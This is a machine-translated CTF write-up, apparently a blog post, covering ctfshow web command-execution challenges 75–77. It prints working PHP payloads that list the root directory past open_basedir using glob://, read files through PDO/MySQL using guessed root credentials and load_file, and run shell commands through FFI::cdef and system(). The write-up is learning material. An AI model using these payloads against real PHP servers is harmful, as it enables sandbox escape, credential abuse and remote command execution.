当前位置:网站首页>Ctfshow web getting started command execution web75-77
Ctfshow web getting started command execution web75-77
2022-06-26 11:23:00 【Make-1t-0r-d1e】
I've been painting in recent days ctfshow Of web Introduction to the command execution part of the exercise , Learned a lot of new postures , Simply record your understanding of the last few problems
web75
Due to the existence open_basedir Configuration limitations , Can't use scandir Function to list directory information , have access to glob The agreement bypasses open_basedir The limitation of , Found at root flag36.txt file .
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

This question is also passed include_path Limits the path contained in the file , Cannot be used directly include Include get flag Information , So I tried to use uaf To bypass the restriction of command execution , But because this topic filters strlen, I also tried to rewrite it in several ways strlen function , But none of them succeeded , If the subsequent rewriting is successful, it will be updated in time , Therefore, refer to the prompt information to use PDO Connect MySQL Read from the database flag Information ,payload as follows .
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}exit();
In the video explanation, it is mentioned that the database name can be obtained ctftraining, But I try to use the ant sword connection to filter the problem environment that is not strict , In the login mysql There is always a segment error , But even if you don't know the database name ctftraining, You can also connect to the default database information_schema Reach the directory of command execution , Just guess mysql Just use your username and password .
By connecting to the default database information_schema Query database name , It is found that there is indeed a named ctftraining The database of .
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();

Use load_file Function read flag File is available flag Information
web77
This problem still makes use of glob The agreement bypasses open_basedir The limitation of , List all files in the root directory , Two suspicious files were found , Namely flag36x.txt and readflag
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

Try to use web75 and 76 The idea of , Use PDO Connect MySQL database , And then use load_file Function bypasses the restriction of file reading , Read flag, But the newspaper could not find driver Error of , Indicates that this question cannot be used PDO Connect to database .
see writeup, This question uses PHP 7.4+ Of FFI characteristic , That is, external function interface features , Please check the relevant documents PHP manual , I'm mainly right here payload Simple analysis of information .
$ffi = FFI::cdef("int system(const char *command);");// Create a system object
$a='/readflag > 1.txt';// No echo
$ffi->system($a);// adopt $ffi To call system function
PHP The manual says FFI:cdef The description of the prototype is public static FFI::cdef(string $code = "", ?string $lib = null), among $code For a string , Include general C A series of statements in a language ,$lib Is the name of the shared library file to load and link , If omitted lib, Then the platform will try to find the symbols declared in the code in the global scope , Other systems will not be able to parse these symbols .
At first I thought payload The meaning of the first line of code in is , Don't offer $lib In the case of information , Will call by default PHP Medium system function , But actually int system(const char *command); That is to say C In language system Definition of function , Used to execute system commands , Also in Linux Under the platform /readflag > 1.txt Use shell Parse and execute , So guess readflag It could be an executable .
- Use FFI call C In language
systemFunction to list the root directory
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls / > 1.txt';
$ffi->system($a);exit();

- Attempt to read directly
/flag36x.txt, visit 1.txt There is nothing after
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /flag36x.txt > 1.txt';
$ffi->system($a);exit();
- Attempt to read
/readflagfile , Successfully read , by ELF Executable file
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /readflag > 1.txt';
$ffi->system($a);exit();

- guess
/flag36x.txtThe file could not be read because of insufficient permissions , List the file permission information of the root directory , It is found that this file does not have read permission for other users , The user who executes the command iswww-data, So it can't be used directlycatRead file contents .
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls -lst / > 1.txt';
$ffi->system($a);exit();

- Use IDA see
/readflagThe contents of the executable file , Confirmed the speculation between
Through executionreadflagFile is available flag Information
边栏推荐
- 深度学习中的FLOPs和Params如何计算
- 再获认可!知道创宇入选“业务安全推进计划”首批成员单位
- 修改calico网络模式为host-gw
- 利用 Repository 中的方法解决实际问题
- Using baijiafan to automatically generate API calls: progress in JS (II)
- Openresty overview
- matlab 编程实例: 如何统计元胞数组中元素的数量
- 2、 Linear table
- Is it safe to open a stock account by mobile phone
- Svn installation configuration
猜你喜欢

(typora picture bed) Alibaba cloud OSS building picture bed +picgo uploading picture detailed tutorial

How does unity prevent other camera positions and rotations from being controlled by steamvrplugin when using steamvrplugin

nacos2.x.x启动报错信息Error creating bean with name ‘grpcClusterServer‘;
![LeetCode 710 黑名单中的随机数[随机数] HERODING的LeetCode之路](/img/58/2a56c5c9165295c830082f8b05dd98.png)
LeetCode 710 黑名单中的随机数[随机数] HERODING的LeetCode之路

c语言 --- 运算符和表达式

Machine learning deep neural network -- Experimental Report

Sqli labs range 1-5

Qixia housing and Urban Rural Development Bureau and fire rescue brigade carried out fire safety training
![[Beiyou orchard microprocessor design] 10 serial communication serial communication notes](/img/61/b4cfb0500bbe39ed6a371bb8672a2f.png)
[Beiyou orchard microprocessor design] 10 serial communication serial communication notes

flannel的host-gw与calico
随机推荐
[deep learning theory] (7) long and short term memory network LSTM
Random numbers in leetcode 710 blacklist [random numbers] the leetcode path of heroding
laravel-admin 用 原生JS实现声音提示,及自动播放
Recent work report
How to calculate flops and params in deep learning
FastRCNN
That is to say, "live broadcast" is launched! One stop live broadcast service with full link upgrade
Statistical genetics: Chapter 1, basic concepts of genome
【Redis 系列】redis 学习十六,redis 字典(map) 及其核心编码结构
我想知道同花顺是炒股的么?手机开户安全么?
I want to know how the top ten securities firms open accounts? Is online account opening safe?
flannel的host-gw与calico
express在nodejs中的基本使用
19: Chapter 3: develop pass service: 2: get through Alibaba cloud SMS service in the program; (it only connects with Alibaba cloud SMS server, and does not involve specific business development)
利用 Repository 中的方法解决实际问题
Group by is used in laravel to group and query the quantity
深度理解STM32的串口实验(寄存器)【保姆级教程】
深度理解STM32的串口實驗(寄存器)【保姆級教程】
在Oracle中update大量数据会不会导致undo空间爆掉
Introduction to Dolby panoramic sound